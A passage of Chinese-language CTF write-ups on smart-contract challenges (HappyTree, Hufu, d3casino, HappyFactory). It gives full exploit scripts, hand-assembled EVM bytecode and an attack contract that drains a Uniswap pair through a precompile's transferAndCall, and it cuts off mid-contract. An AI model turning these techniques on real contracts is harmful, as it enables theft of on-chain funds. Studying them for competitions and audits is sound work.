aliyunctf HappyTree

参考出题人wp https://liriu.life/aliyunCTF-HappyTree-WriteUP-2f894979b29948d9b3a31a5d75c67905

源码

// SPDX-License-Identifier: MIT
pragma solidity
{ #0}
.8.0;

contract Greeter {
    uint256 public x;
    uint256 public y;
    bytes32 public root;
    mapping(bytes32 => bool) public used_leafs;

    constructor(bytes32 root_hash) {
        root = root_hash;
    }

    modifier onlyGreeter() {
        require(msg.sender == address(this));
        _;
    }

    function g(bool a) internal returns (uint256, uint256) {
        if (a) return (0, 1);
        assembly {
            return(0, 0)
        }
    }

    function a(uint256 i, uint256 n) public onlyGreeter {
        x = n;
        g((n <= 2));
        x = i;
    }

    function b(
        bytes32[] calldata leafs,
        bytes32[][] calldata proofs,
        uint256[] calldata indexs
    ) public {
        require(leafs.length == proofs.length, "Greeter: length not equal");
        require(leafs.length == indexs.length, "Greeter: length not equal");

        for (uint256 i = 0; i < leafs.length; i++) {
            require(
                verify(proofs[i], leafs[i], indexs[i]),
                "Greeter: proof invalid"
            );
            require(used_leafs[leafs[i]] == false, "Greeter: leaf has be used");
            used_leafs[leafs[i]] = true;
            this.a(i, y);
            y++;
        }
    }

    function verify(
        bytes32[] memory proof,
        bytes32 leaf,
        uint256 index
    ) internal view returns (bool) {
        bytes32 hash = leaf;

        for (uint256 i = 0; i < proof.length; i++) {
            bytes32 proofElement = proof[i];

            if (index % 2 == 0) {
                hash = keccak256(abi.encodePacked(hash, proofElement));
            } else {
                hash = keccak256(abi.encodePacked(proofElement, hash));
            }

            index = index / 2;
        }

        return hash == root;
    }

    function isSolved() public view returns (bool) {
        return x == 2 && y == 4;
    }
}

写了个Merkle树得的验证,最终需要满足x == 2 && y == 4;,题目给了三个叶子节点,所以这里需要清楚MerkleTree在处理单数片叶子时怎么去计算父节点hash的,大致三种方法.本题就是第一种.

  1. 复制最后一片叶子, Hash( a ,a )
  2. 用叶子自己的hash做结果 Hash( a )
  3. 0叶子, Hash( 0 )

贴一个当时比赛爆破的脚本,其实根本不用就用复制第三个当最后一个叶子就行了.

import solcx
from eth_abi.packed import encode_abi_packed
from web3 import Web3,HTTPProvider
from Crypto.Util.number import bytes_to_long, long_to_bytes
from web3 import Web3,HTTPProvider
from hexbytes import *
import time

import itertools
# 输入四个叶子节点的哈希值
w3=Web3(HTTPProvider("http://47.242.84.49:8545"))


def poc4():
    leaf_hashes = [
        0x81376b9868b292a46a1c486d344e427a3088657fda629b5f4a647822d329cd6a,
        0x28cac318a86c8a0a6a9156c2dba2c8c2363677ba0514ef616592d81557e679b6,
        0x804cd8981ad63027eb1d4a7e3ac449d0685f3660d6d8b1288eb12d345ca2331d,
    ]
    combinations = list(itertools.combinations(leaf_hashes, 2))
    print(combinations)

    hashes = []
    dict ={}
    for combination in combinations:
        combined_hash = w3.sha3(
            encode_abi_packed(['bytes32', 'bytes32'], [long_to_bytes(combination[0]), long_to_bytes(combination[1])]))
        hashes.append(combined_hash)
        temp = []
        temp.append(str(hex(combination[0])))
        temp.append(str(hex(combination[1])))
        dict.setdefault(combined_hash, temp)
        combined_hash = w3.sha3(
            encode_abi_packed(['bytes32', 'bytes32'], [long_to_bytes(combination[1]), long_to_bytes(combination[0])]))
        hashes.append(combined_hash)
        temp = []
        temp.append(str(hex(combination[1])))
        temp.append(str(hex(combination[0])))
        dict.setdefault(combined_hash, temp)
    print(hashes)

    new_leaf = []
    for i in hashes:
        key = dict.get(i)
        temp = []
        for i in leaf_hashes:
            if hex(i) not in key:
                com = w3.sha3(
                    encode_abi_packed(['bytes32', 'bytes32'],
                                      [long_to_bytes(i), long_to_bytes(i)]))
                new_leaf.append(com)
    print(new_leaf)

    r= {}
    for i in new_leaf:
        for j in hashes:

            result = w3.sha3(
                encode_abi_packed(['bytes32', 'bytes32'],
                                  [long_to_bytes(int(HexBytes(i).hex(),16)), long_to_bytes(int(HexBytes(j).hex(),16))])).hex()
            r.setdefault(HexBytes(i).hex() + " " + HexBytes(j).hex(),result)
            result = w3.sha3(
                encode_abi_packed(['bytes32', 'bytes32'],
                                  [long_to_bytes(int(HexBytes(j).hex(), 16)),
                                   long_to_bytes(int(HexBytes(i).hex(), 16))])).hex()
            r.setdefault(HexBytes(j).hex() + " " + HexBytes(i).hex(),result)

            # print(i,j)
    print(r)

poc4()

最后的proofs 和 leafs

["0x81376b9868b292a46a1c486d344e427a3088657fda629b5f4a647822d329cd6a","0x28cac318a86c8a0
a6a9156c2dba2c8c2363677ba0514ef616592d81557e679b6","0x804cd8981ad63027eb1d4a7e3ac449d068
5f3660d6d8b1288eb12d345ca2331d","0x9b1a0a45cfdc60f45820808958c1895d44da61c8f804f5560020a
373b23ad51e"]
[["0x28cac318a86c8a0a6a9156c2dba2c8c2363677ba0514ef616592d81557e679b6","0x4a35f5bda2916f
bfac6936f63313cee16979995b2409de59ceda0377bae8c486"],
["0x81376b9868b292a46a1c486d344e427a3088657fda629b5f4a647822d329cd6a","0x4a35f5bda2916fb
fac6936f63313cee16979995b2409de59ceda0377bae8c486"],
["0x804cd8981ad63027eb1d4a7e3ac449d0685f3660d6d8b1288eb12d345ca2331d","0x9b1a0a45cfdc60f
45820808958c1895d44da61c8f804f5560020a373b23ad51e"],
["0x4a35f5bda2916fbfac6936f63313cee16979995b2409de59ceda0377bae8c486"]]
[0,1,2,0]

虎符ctf 2022

参考大哥博客http://retr0.vip/archives/6/ 源码

contract Challenge {
        
    uint constant fee = 100000;
    uint constant max_code_size = 0x80;

    event SendFlag(bytes);

    function solve() public {
        uint answer;
        bool success;
        bytes memory result;

        assembly {
            answer := extcodesize(caller())
        }
        require(answer < max_code_size);

        (success, result) = msg.sender.staticcall{gas:fee}("");
        answer = uint(bytes32(result));
        require(success && answer == 1);

        (success, result) = msg.sender.staticcall{gas:fee}("");
        answer = uint(bytes32(result));
        require(success && answer == 2);

        emit SendFlag("flag{demo}");
    }
}

源码很明了,限制攻击合约bytecode不能超过0x80字节,所以需要手写shellcode,然后满足合约能够不改变自身状态改变返回值,因为题目设置了gas的阈值,所以可以通过调试发现两次调用合约的时候给的gas是不同的,第二次会明显变少,所以可以通过比较gas来改变返回值, 最终的shellcode如下(copy了一下).前面是在判断caller是谁,如果是自己的话就进入到分支开始call题目合约,其中0x890d6908就是函数solve的函数签名,最后用call来调用到题目合约的solve方法,至于汇编操作可以参考https://solidity-cn.readthedocs.io/zh/develop/assembly.html, 写的很详细,最后就是根据gas的不同设置一个中间值来让其改变返回值.

CALLER
PUSH20 0x1bdDCdA2d1914Fb966237f32df6db10BB3fC3983 
EQ
PUSH1 0x1e
JUMPI
JUMPDEST
PUSH1 0x4b
JUMP
JUMPDEST
PUSH1 0x00
PUSH1 0x50
PUSH4 0x890d6908
PUSH1 0x34
MSTORE
PUSH1 0x04
PUSH1 0x50
PUSH1 0x00
PUSH20 0xc8aDfc432C3a29B54e89CaaFFC51A936C73f64b1 
PUSH3 0x00fbfb
CALL
JUMPDEST 
GAS
PUSH3 0x001d00
LT
PUSH1 0x59
JUMPI
JUMPDEST
PUSH1 0x64
JUMP
JUMPDEST
PUSH1 0x01
PUSH1 0x80
MSTORE
PUSH1 0x20
PUSH1 0x80
Return
JUMPDEST
PUSH1 0x02
PUSH1 0x80
MSTORE
PUSH1 0x20
PUSH1 0x80
RETURN




0x3373
0fC5025C764cE34df352757e82f7B5c4Df39A836
14601e575b604b565b6000605063890d690860345260046050600073
d8b934580fcE35a11B58C6D73aDeE468a2833fa8
6200fbfbf15b5a62000a00106059575b6064565b600160805260206080f35b600260805260206080f3

字节码的部署可以通过create2创建一个,然后call一下新的合约地址就行了. 用于比较的那个gas值需要通过调试来改,简单调试了一下. 第一次进行staticcall的时候可以看到我们设置的gas值小于使用gas,所以会返回1

第二次的时候刚好大于使用的gas,所以返回了2

最终就会log出flag.

D3CTF d3casino

参考http://retr0.vip/archives/96/ 源码

// contracts/D3Casino.sol
pragma solidity 0.8.17;


contract D3Casino{
    uint256 constant mod = 17;
    uint256 constant SAFE_GAS = 10000;
    uint256 public lasttime;
    mapping(address => uint256) public scores;
    mapping(address => bool) public betrecord;
    event SendFlag();

    constructor() {
        lasttime = block.timestamp;
    }

    function bet() public {
        require(lasttime != block.timestamp, "You can only bet once per block");
        require(
            betrecord[msg.sender] == false,
            "You can only bet once per contract"
        );

        assembly {
            let size := extcodesize(caller())
            if gt(size, 0x64) {
                invalid()
            }
        }

        lasttime = block.timestamp;
        betrecord[msg.sender] = true;
        uint256 rand = uint256(
            keccak256(
                abi.encodePacked(block.timestamp, block.difficulty, msg.sender)
            )
        ) % mod;

        uint256 value;
        bool success;
        bytes memory result;
        (success, result) = msg.sender.staticcall{gas: SAFE_GAS}("");
        require(success, "Call failed!");
        value = abi.decode(result, (uint256));

        if (rand == value) {
            uint256 score;
            for (uint i = 0; i < 20; i++) {
                if (bytes20(msg.sender)[i] == 0 && bytes20(tx.origin)[i] == 0) {
                    score++;
                }
            }
            scores[tx.origin] += score;
        } else {
            scores[tx.origin] = 0;
        }
    }

    function Solve() public {
        require(
            scores[msg.sender] >= 10,
            "You Don't Have Enough Score To Solve The Challenge"
        );
        emit SendFlag();
    }
}

题目源码比较简短,题目限制了几点.

  • 限制单个块内只能交易一次,也就是单个区块内只能与目标合约的 bet 函数交易一次。
  • 攻击合约bytecode不得超过100字节比虎符的更短了些
  • 生成了一个伪随机数,要求调用攻击合约后返回值和随机数相等,
  • 需要攻击合约账户和调用账户的地址在相同位置有0才能让scores增加 此题两种做法

解法一

第一种就是像虎符的一样手写shellcode去满足条件,那么shellcode就需要完成一个产生随机数的功能,然后返回过去和它产生的相等即可. 可以先用汇编写

assembly{
            mstore(callvalue(),timestamp())
            mstore(0x20,difficulty())
            mstore(0x40,shl(96,caller()))
            mstore(0x60,keccak256(0,0x54))
            mstore(callvalue(),mod(mload(0x60),17))
            return(callvalue(),0x20)
        }

然后手动转shellcode,但下面这个多了几个字节,占用字节最多的肯定是两个账户地址,稍加优化即可.

data = '''
CALLER
PUSH20 0xAa209eC9F34316Fc9d1474670487fEC91433AA17
EQ
PUSH1 0x46
JUMPI
PUSH1 0x00   
PUSH1 0x50   
PUSH4 0x11610c25
PUSH1 0x34
MSTORE
PUSH1 0x04  
PUSH1 0x50  
PUSH1 0x00  
PUSH20 0xAa209eC9F34316Fc9d1474670487fEC91433AA17
PUSH2 0xfbfb  
CALL
STOP
JUMPDEST
TIMESTAMP
CALLVALUE
MSTORE
DIFFICULTY
PUSH1 0x20
MSTORE
ADDRESS
PUSH1 0x60
SHL
PUSH1 0x40
MSTORE
PUSH1 0x54
CALLVALUE
SHA3
PUSH1 0x60
MSTORE
PUSH1 0x11
PUSH1 0x60
MLOAD
MOD
CALLVALUE
MSTORE
PUSH1 0x20
CALLVALUE
RETURN
'''

可以用EXTCODESIZE优化来替代最开始的判断,这样就八十多字节.其实还有更简化的,参考https://bcyng-w.github.io/post/D3CTF

data = '''
CALLER
EXTCODESIZE
PUSH2 0x0117
DUP2
SUB
PUSH1 0x1d
JUMPI
PUSH4 0x11610c25
CALLVALUE
MSTORE
CALLVALUE
CALLVALUE
PUSH1 0x04
PUSH1 0x1c
CALLVALUE
PUSH1 0x04
CALLDATALOAD
GAS
CALL
POP
JUMPDEST
TIMESTAMP
CALLVALUE
MSTORE
DIFFICULTY
PUSH1 0x20
MSTORE
ADDRESS
PUSH1 0x60
SHL
PUSH1 0x40
MSTORE
PUSH1 0x54
CALLVALUE
SHA3
PUSH1 0x60
MSTORE
PUSH1 0x11
PUSH1 0x60
MLOAD
MOD
CALLVALUE
MSTORE
PUSH1 0x20
CALLVALUE
RETURN
'''

0x333b60008103601d576311610c25345234346004601c346004355af1505b423452446020523060601b604052605434206060526011606051063452602034f3

然后需要生成具有00结尾的攻击合约,这个可以用create2解决

from web3 import Web3,HTTPProvider
def create2SaltCalc(deployingaddr,code):
    s=Web3.keccak(hexstr=code)
    a=''.join(['%02x'%b for b in s])  #将得到的值转变为字符串

    n=1
    array = []
    for i in range(0x0,0xfffffffffffffff):
        salt=hex(i)[2:].rjust(64,'0')
        p=Web3.keccak(hexstr=('0xff' + deployingaddr[2:] + salt + a))[12:].hex()
        if p[-2:]=='00':
            # print(f'{n}.0x'+salt,p)
            array.append(hex(int(salt,16)))
            # array.append(int(salt,16))
            n+=1
            if n > 10:
                break
    # print(array)
    return array

# deployingaddr='0x8DebA067FA861Bf892084Ed3de56fe0fbDeFB68f'
# code= "0x6080604052348015600f57600080fd5b50600033905060608173ffffffffffffffffffffffffffffffffffffffff166331d191666040518163ffffffff1660e01b815260040160006040518083038186803b158015605c57600080fd5b505afa158015606f573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015609857600080fd5b81019080805164010000000081111560af57600080fd5b8281019050602081018481111560c457600080fd5b815185600182028301116401000000008211171560e057600080fd5b50509291905050509050805160208201f3fe"
# create2SaltCalc(deployingaddr,code)

然后爆破出一个00结尾的账户即可.

from ethereum import utils
import os, sys

# generate EOA with appendix 1b1b
def generate_eoa1():
    priv = utils.sha3(os.urandom(4096))
    addr = utils.checksum_encode(utils.privtoaddr(priv))

    while not addr.lower().endswith("00"):
        priv = utils.sha3(os.urandom(4096))
        addr = utils.checksum_encode(utils.privtoaddr(priv))

    print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))


# generate EOA with the ability to deploy contract with appendix 1b1b
def generate_eoa2():
    priv = utils.sha3(os.urandom(4096))
    addr = utils.checksum_encode(utils.privtoaddr(priv))

    while not utils.decode_addr(utils.mk_contract_address(addr, 0)).endswith("111"):
        priv = utils.sha3(os.urandom(4096))
        addr = utils.checksum_encode(utils.privtoaddr(priv))


    print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))


if __name__  == "__main__":
    if sys.argv[1] == "1":
        generate_eoa1()
    elif sys.argv[1] == "2":
        generate_eoa2()
    else:
        print("Please enter valid argument")

最后的exp脚本

import binascii
 
import solcx
from Crypto.Util.number import bytes_to_long
from eth_abi import encode, encode_abi
from eth_abi.packed import encode_packed
from solcx import compile_files
from web3 import Web3,HTTPProvider
from hexbytes import *
 
from d3ctf2023.create2SaltCalc import create2SaltCalc
 
 
def generate_tx(chainID, to, data, value):
    # print(web3.eth.gasPrice)
    # print(web3.eth.getTransactionCount(Web3.toChecksumAddress(account_address)))
    txn = {
        'chainId': chainID,
        'from': Web3.toChecksumAddress(account_address),
        'to': to,
        'gasPrice': web3.eth.gasPrice ,
        'gas': 3000000,
        'nonce': web3.eth.getTransactionCount(Web3.toChecksumAddress(account_address)) ,
        'value': Web3.toWei(value, 'ether'),
        'data': data,
    }
    # print(txn)
    return txn
 
def sign_and_send(txn):
    signed_txn = web3.eth.account.signTransaction(txn, private_key)
    txn_hash = web3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
    txn_receipt = web3.eth.waitForTransactionReceipt(txn_hash)
    return txn_receipt
 
 
def deploy(FileName,ContractName,Compileversion):
    compiled_sol = compile_files(["xxx".replace("xxx",FileName)],output_values=["abi", "bin"],solc_version=Compileversion)
    data = compiled_sol['xxx:nnn'.replace("xxx",FileName).replace("nnn",ContractName)]['bin']
    # print(data)
    txn = generate_tx(chain_id, '', data, 0)
    txn_receipt = sign_and_send(txn)
    attack_abi = compiled_sol['xxx:nnn'.replace("xxx",FileName).replace("nnn",ContractName)]['abi']
    # print(txn_receipt)
    if txn_receipt['status'] == 1:
        attack_address = txn_receipt['contractAddress']
        return attack_address,attack_abi
    else:
        exit(0)
def makeAttackContract(salt,functionSign):
    attackContractAddress = []
    for i in salt:
        data = encode(['bytes', 'uint'], [binascii.unhexlify(
            "333b6101d18103603657600060506311610c2560345260046050600073c1a7f35e9baa45f37498ea7ad4f6d1ff952d59ea61fbfbf1005b423452446020523060601b604052605434206060526011606051063452602034f3"),
            int(i,16)])
        data = web3.toHex(data)[2:]
        txn = generate_tx(chain_id,
                          contract_address,
                          functionSign + data,
                          0)
        txn_receipt = sign_and_send(txn)
        deployedAddr = contract_instance.functions.deployedAddr().call()
        print(deployedAddr)
        attackContractAddress.append(deployedAddr)
    print(attackContractAddress)
    return     attackContractAddress
if __name__ == '__main__':
    chain_id = 5777
    web3=Web3(HTTPProvider("http://127.0.0.1:8545"))
    private_key = '7ee1035c8c9a1376cf9f43561d1a83ae900a04ba2eac90d0800b6e97c4b4f37d'
 
 
    account_address = web3.eth.account.from_key(private_key).address
    print(account_address)
    print(web3.eth.getBalance(account_address))
    #
    contract_address,contract_abi =  deploy("deploy.sol","Deployer","0.8.16")
    contract_instance = web3.eth.contract(address=contract_address, abi=contract_abi)
 
    print(contract_address)
    print(contract_instance.all_functions())
    code = "0x6080604052348015600f57600080fd5b50600033905060608173ffffffffffffffffffffffffffffffffffffffff166331d191666040518163ffffffff1660e01b815260040160006040518083038186803b158015605c57600080fd5b505afa158015606f573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015609857600080fd5b81019080805164010000000081111560af57600080fd5b8281019050602081018481111560c457600080fd5b815185600182028301116401000000008211171560e057600080fd5b50509291905050509050805160208201f3fe"
    salt = create2SaltCalc(contract_address,code)
    print(salt)
    functionSign = HexBytes(Web3.sha3(text='deploy(bytes,uint256)')).hex()[0:10]
 
    attackContractAddress =  makeAttackContract(salt,functionSign)
    for addr in attackContractAddress:
        txn = generate_tx(chain_id,'0x8bFc14c3bbB0A9dD5558CdA0919Ae000B4fCfc59','0x6714a34e000000000000000000000000'+addr[2:],0)
        txn_receipt = sign_and_send(txn)
        # print(txn_receipt)
 
    slot = Web3.keccak(encode_abi(['address', 'uint256'], ["0x879a2EB7a25534E2F7ca2354C52C37DddAa87d00", 0x01]))
    score = web3.eth.getStorageAt("0xC1a7f35e9BaA45F37498eA7Ad4F6D1ff952D59ea",  hex(bytes_to_long(slot)))
    print(score)
 
    D3Casino_address,D3Casino_abi =  deploy("source.sol","D3Casino","0.8.17")
    D3Casino_address = "0xC1a7f35e9BaA45F37498eA7Ad4F6D1ff952D59ea"
    D3Casino_instance = web3.eth.contract(address=D3Casino_address, abi=D3Casino_abi)
    # attack.getFlag
    functionSign = HexBytes(web3.sha3(text='Solve()')).hex()[0:10]
    attack = generate_tx(chain_id, D3Casino_address, functionSign ,0)
    flag = sign_and_send(attack)
    print(flag["logs"])
    print(D3Casino_instance.events.SendFlag().processLog(flag["logs"][0]))
['0xE8339AF2Bd303c845e7420708DEd6466412A7500', '0xf3De7920dc02119D9F1344aC7BcbC875529Ba400', '0xcEc1522eca31761CC9176965E78c5A2482a77800', '0x431315023A74A3003c9FceE95Eb96798EE5B7D00', '0x3e72e6aE938dFa7a28565C41eD56782378D8cd00', '0x957f3c921F5629DeEEfC3FbBb2a862F754612100', '0x8D48717D8f8B2DA36ad50237e411fB9E8ddA8100', '0xA11eE8fc1E6293578CFCc85784776c428298f500', '0x9A1C8712a203D24173484EeA45C97733258CC100', '0x9e9B54798e7124E80cb8fBC4b22ddaD45e5d9700']
 

解法二

参考https://tl2cents.github.io/2023/04/30/2023-D3CTF-d3casino-writeup/ 利用代理合约绕过限制.试想一下如果没有100字节的限制,我们可以直接写个攻击合约

pragma solidity 0.8.17;

contract solver{
    uint256 ans;
    D3Casino d3;

    function solve(address _target) public {
        d3 = D3Casino(_target);
        ans = uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty, address(this)))) % 17;
        d3.bet();
    }

    // _data : calldata 
    fallback(bytes calldata data) external returns (bytes memory) {
        return abi.encode(ans);
    }
}

所以现在问题是如何绕过100字节得限制,这里就需要用到代理合约Minimal Proxy了,使用这个方法部署出来的合约只有45字节符合题意,如何如何实现的可以分析一下它的bytecode也不算很复杂.

其核心原理就是我们先部署一个 solver 合约上链,作为我们的 implementation 合约,后续我们通过 Mini Proxy 合约不断克隆 solver 得到新合约,新合约实际逻辑通过 DELEGATECALL 与 solver 保持完全一样,而新合约本身只需要实现简单的 call data 转发和结果回传功能即可,实现逻辑如下:

exp

import binascii
import os
 
import solcx
from Crypto.Util.number import bytes_to_long
from eth_abi import encode, encode_abi
from eth_abi.packed import encode_packed
from solcx import compile_files
from web3 import Web3,HTTPProvider
from hexbytes import *
 
def generate_tx(chainID, to, data, value):
    # print(web3.eth.gasPrice)
    # print(web3.eth.getTransactionCount(Web3.toChecksumAddress(account_address)))
    txn = {
        'chainId': chainID,
        'from': Web3.toChecksumAddress(account_address),
        'to': to,
        'gasPrice': web3.eth.gasPrice ,
        'gas': 3000000,
        'nonce': web3.eth.getTransactionCount(Web3.toChecksumAddress(account_address)) ,
        'value': Web3.toWei(value, 'ether'),
        'data': data,
    }
    # print(txn)
    return txn
 
def sign_and_send(txn):
    signed_txn = web3.eth.account.signTransaction(txn, private_key)
    txn_hash = web3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
    txn_receipt = web3.eth.waitForTransactionReceipt(txn_hash)
    return txn_receipt
def deploy(FileName,ContractName,Compileversion):
    compiled_sol = compile_files(["xxx".replace("xxx",FileName)],output_values=["abi", "bin"],solc_version=Compileversion)
    data = compiled_sol['xxx:nnn'.replace("xxx",FileName).replace("nnn",ContractName)]['bin']
    # print(data)
    txn = generate_tx(chain_id, '', data, 0)
    txn_receipt = sign_and_send(txn)
    attack_abi = compiled_sol['xxx:nnn'.replace("xxx",FileName).replace("nnn",ContractName)]['abi']
    # print(txn_receipt)
    if txn_receipt['status'] == 1:
        attack_address = txn_receipt['contractAddress']
        return attack_address,attack_abi
    else:
        exit(0)
if __name__ == '__main__':
    chain_id = 5777
    web3=Web3(HTTPProvider("http://127.0.0.1:8545"))
    private_key = '539286736be232d696e334dafb5f652c4cd9187d961800f97d0ab4f9a174286c'
 
    # 0xfbDaE66Af3C84C9EcC4E95E7B95692b48f560000
    account_address = web3.eth.account.from_key(private_key).address
    print(account_address)
    print(web3.eth.getBalance(account_address))
    #
    clone_address,clone_abi =  deploy("Clones.sol","Clones","0.8.17")
    solver_address,solver_abi =  deploy("Clones.sol","solver","0.8.17")
    pos = [18,19]
    D3Casino_address,D3Casino_abi =  deploy("Clones.sol","D3Casino","0.8.17")
    D3Casino_address = "0xAB4d759dA30d3dAC396651F749BD0468021F72b1"
 
 
    clone_instance = web3.eth.contract(address=clone_address, abi=clone_abi)
    solver_instance = web3.eth.contract(address=solver_address, abi=solver_abi)
 
    D3Casino_instance = web3.eth.contract(address=D3Casino_address, abi=D3Casino_abi)
 
    #
    print("[+] clone_address is " + clone_address)
    print("[+] solver_address is " + solver_address)
    print(clone_instance.all_functions())
    print(solver_instance.all_functions())
    score = D3Casino_instance.caller.scores(account_address)
    print(score)
 
 
    while True:
        good_salt = False
        salt = os.urandom(32)
        proxy_solver_addr = clone_instance.functions.predictDeterministicAddress(
            solver_address, '0x' + salt.hex()).call()
        # print(binascii.hexlify(proxy_solver_addr_bytes).decode())
        proxy_solver_addr_bytes = bytes.fromhex(proxy_solver_addr[2:])
        for p in pos:
            if proxy_solver_addr_bytes[p] == 0:
                good_salt = True
                print(binascii.hexlify(proxy_solver_addr_bytes).decode())
                break
        score = D3Casino_instance.caller.scores(account_address)
        if score >= 10:
                break
        if good_salt:
            print(f"[+] { salt.hex() = }")
            print(f"[+] { proxy_solver_addr = }")
            tx = clone_instance.functions.cloneDeterministic(solver_address, '0x' + salt.hex()).build_transaction({
                'chainId': web3.eth.chain_id,
                'gas': 5000000,
                # 'maxFeePerGas': 50000000000,
                # 'maxPriorityFeePerGas': 10000000000,
                'gasPrice': 10000000000,
                'nonce': web3.eth.get_transaction_count(account_address),
                'from': web3.toChecksumAddress(account_address),
            })
            signed_tx = web3.eth.account.sign_transaction(tx, private_key)
            tx_hash = web3.eth.send_raw_transaction(signed_tx.rawTransaction)
            tx_receipt = web3.eth.waitForTransactionReceipt(tx_hash)
            # print(f"[+] { tx_receipt = }")
            proxy_solver_bt = web3.eth.getCode(proxy_solver_addr)
            print(f"[+] The solver proxy_solver contract's bytecodes is : {binascii.hexlify(proxy_solver_bt)}")
            print(f"[+] The solver proxy_solver contract's bytecodes'len is : {len(proxy_solver_bt)}")
            print(f"[+] { proxy_solver_bt.hex() = }")
 
            # assert proxy_addr == proxy_solver_addr, f"bad address failed {proxy_addr}"
            assert tx_receipt.status == 1, "clone deploy failed"
 
            proxy = web3.eth.contract(proxy_solver_addr, abi=solver_abi)
            tx = proxy.functions.solve(D3Casino_address).build_transaction({
                'chainId': web3.eth.chain_id,
                "gas": 5000000,
                # 'maxFeePerGas': 50000000000,
                # 'maxPriorityFeePerGas': 10000000000,
                'gasPrice': 10000000000,
                'nonce': web3.eth.get_transaction_count(account_address),
                'from': web3.toChecksumAddress(account_address),
            })
            signed_tx = web3.eth.account.sign_transaction(tx, private_key)
            tx_hash = web3.eth.send_raw_transaction(signed_tx.rawTransaction)
            tx_receipt = web3.eth.waitForTransactionReceipt(tx_hash)
            # print(f"[+] { tx_receipt = }")
 
            assert tx_receipt.status == 1, "solve failed"
            score = D3Casino_instance.caller.scores(account_address)
            print(f"[+] { score = }")
    tx = D3Casino_instance.functions.Solve().build_transaction({
        'chainId': web3.eth.chain_id,
        "gas": 5000000,
        # 'maxFeePerGas': 50000000000,
        # 'maxPriorityFeePerGas': 10000000000,
        'gasPrice': 10000000000,
        'nonce': web3.eth.get_transaction_count(account_address),
        'from': web3.toChecksumAddress(account_address),
    })
    signed_tx = web3.eth.account.sign_transaction(tx, private_key)
    tx_hash = web3.eth.send_raw_transaction(signed_tx.rawTransaction)
    tx_receipt = web3.eth.waitForTransactionReceipt(tx_hash)
    print(f"[+] { tx_receipt = }")
    print(tx_receipt["logs"])
    print(D3Casino_instance.events.SendFlag().processLog(tx_receipt["logs"][0]))

RWCTF体验赛

参考以前文章 https://haoami.github.io/2023/02/01/2023-2-1-rwctf%20blockchain%E5%A4%8D%E7%8E%B0/

RWCTF正赛

参考 https://bcyng-w.github.io/post/real-world-ctf-HappyFactory http://retr0.vip/archives/85/ https://foresightnews.pro/article/detail/29535

相较于体验赛,这里使用的是官方的UniswapV2Pair合约代码了,并没有修改,所以体验赛的漏洞不存在了,题目要求清空Pair合约reserve即获胜.但是这题使用预编译合约直接将ETH作为WrappedETH使用.并且题目以diff形式给出了预编译合约的go代码. weth api

+var (
+	functions = map[string]RunStatefulPrecompileFunc{
+		calculateFunctionSelector("name()"):                                 metadata("name"),
+		calculateFunctionSelector("symbol()"):                               metadata("symbol"),
+		calculateFunctionSelector("decimals()"):                             metadata("decimals"),
+		calculateFunctionSelector("balanceOf(address)"):                     balanceOf,
+		calculateFunctionSelector("transfer(address,uint256)"):              transfer,
+		calculateFunctionSelector("transferAndCall(address,uint256,bytes)"): transferAndCall,
+		calculateFunctionSelector("allowance(address,address)"):             allowance,
+		calculateFunctionSelector("approve(address,uint256)"):               approve,
+		calculateFunctionSelector("transferFrom(address,address,uint256)"):  transferFrom,
+	}
+

可以看到相较于普通的erc20增加了一个transferAndCall函数,重点看看这个函数.函数里面很明显通过 evm.Call(vm.AccountRef(caller), inputArgs.To, inputArgs.Data, remainingGas, common.Big0)又去调用了另外一个合约,这样来看的话我们如果让Pair合约能够主动的调用ETH和Token中的approve我们就可以实现清空Pair合约的余额

func transferAndCall(evm *vm.EVM, caller common.Address, input []byte, suppliedGas uint64, readOnly bool) (ret []byte, remainingGas uint64, err error) {
	if readOnly {
		return nil, suppliedGas, ErrWriteProtection
	}
	inputArgs := &TransferAndCallInput{}
	if err = unpackInputIntoInterface(inputArgs, "transferAndCall", input); err != nil {
		return nil, suppliedGas, err
	}

	if ret, remainingGas, err = transferInternal(evm, suppliedGas, caller, inputArgs.To, inputArgs.Amount); err != nil {
		return ret, remainingGas, err
	}

	code := evm.StateDB.GetCode(inputArgs.To)
	if len(code) == 0 {
		return ret, remainingGas, nil
	}

	snapshot := evm.StateDB.Snapshot()
	evm.depth
	defer func() { evm.depth-- }()

	if ret, remainingGas, err = evm.Call(vm.AccountRef(caller), inputArgs.To, inputArgs.Data, remainingGas, common.Big0); err != nil {
		evm.StateDB.RevertToSnapshot(snapshot)
		if err != ErrExecutionReverted {
			remainingGas = 0
		}
	}

	return ret, remainingGas, err
}

而在swap函数中,正好提供了外部调用的功能,最后用delegatecall将调用transferAndCall是参数中的caller地址构造为Pair地址即可

由于这题没环境复现了,copy了一下大佬博客的代码

interface WETH{
    function balanceOf(address account)external view returns(uint256) ;
    function transfer(address to, uint256 amount)external returns(bool);
    function transferAndCall(address to, uint256 amount, bytes calldata data)external  returns(bool);
    function transferFrom(address from, address to, uint256 amount)external returns(bool);
    function approve(address spender, uint256 amount)external returns(bool);
    function allowance(address owner, address spender)external view returns(uint256);

}

contract attack{
    WETH public weth = WETH(0x0000000000000000000000000000000000004eA1);
    IERC20 public erc20;
    UniswapV2Pair public pair;
    // address _a,address _pair
    constructor()payable{
         erc20 = IERC20(0x82431c780e4204d42BF1b19AD964CD2fe715F2FD);
         pair = UniswapV2Pair(0x651357d314662b28C3Db9A9902502633203CD06F);
    }

    function step() public {
         pair.swap(1, 0, address(this), "0xdata");
    }

    function uniswapV2Call(address a,uint b,uint c,bytes calldata d)public{
        // (bool success,)=address(weth).delegatecall(abi.encodeWithSignature("transferAndCall(address,uint256,bytes)", address(weth),1,abi.encodeWithSignature("approve(address,uint256)", address(this),(uint)(int(-2)))));
        //注释部分不可取,wrap.go中判断目标地址是否存在code,不存在将不会调用,实际上weth只是一个预编译合约,并不是一个真正存在在以太坊上的合约。
        (bool success,)=address(weth).delegatecall(abi.encodeWithSignature("approve(address,uint256)",address(this),(uint)(int(-1))));
        require(success,"fail");
        address(weth).delegatecall(abi.encodeWithSignature("transferAndCall(address,uint256,bytes)", address(erc20),1,abi.encodeWithSignature("approve(address,uint256)", address(this),(uint)(int(-1)))));
        weth.transfer(address(pair),100);
    }
    function ok()public {
